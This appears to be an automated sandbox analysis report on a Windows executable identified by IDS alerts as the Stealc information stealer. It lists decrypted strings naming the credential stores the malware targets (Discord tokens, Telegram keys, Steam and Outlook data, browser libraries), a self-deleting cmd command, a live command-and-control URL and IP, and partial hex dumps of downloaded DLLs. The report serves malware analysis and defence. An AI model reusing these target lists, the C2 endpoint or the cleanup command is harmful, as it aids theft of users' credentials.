Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.440000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.440000.0.unpack	String decryptor: open
Source: 0.2.file.exe.440000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.440000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.440000.0.unpack	String decryptor: files
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.440000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.440000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.440000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.440000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.440000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.440000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.440000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.440000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.440000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.440000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.440000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.440000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.440000.0.unpack	String decryptor: done
Source: 0.2.file.exe.440000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.440000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.440000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.440000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.440000.0.unpack	String decryptor: https
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.440000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.440000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.440000.0.unpack	String decryptor: build
Source: 0.2.file.exe.440000.0.unpack	String decryptor: token
Source: 0.2.file.exe.440000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.440000.0.unpack	String decryptor: file
Source: 0.2.file.exe.440000.0.unpack	String decryptor: message
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.440000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C6BDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C7410 NSS_SecureMemcmp,PR_SetError,PK11_Decrypt,	0_2_6C6C7410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:62827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:62833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:63063 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2076077231.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693152043.000000000512B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075923211.000000006C841000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693152043.000000000512B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075923211.000000006C841000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2076077231.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic

TCP traffic: 192.168.2.4:62823 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 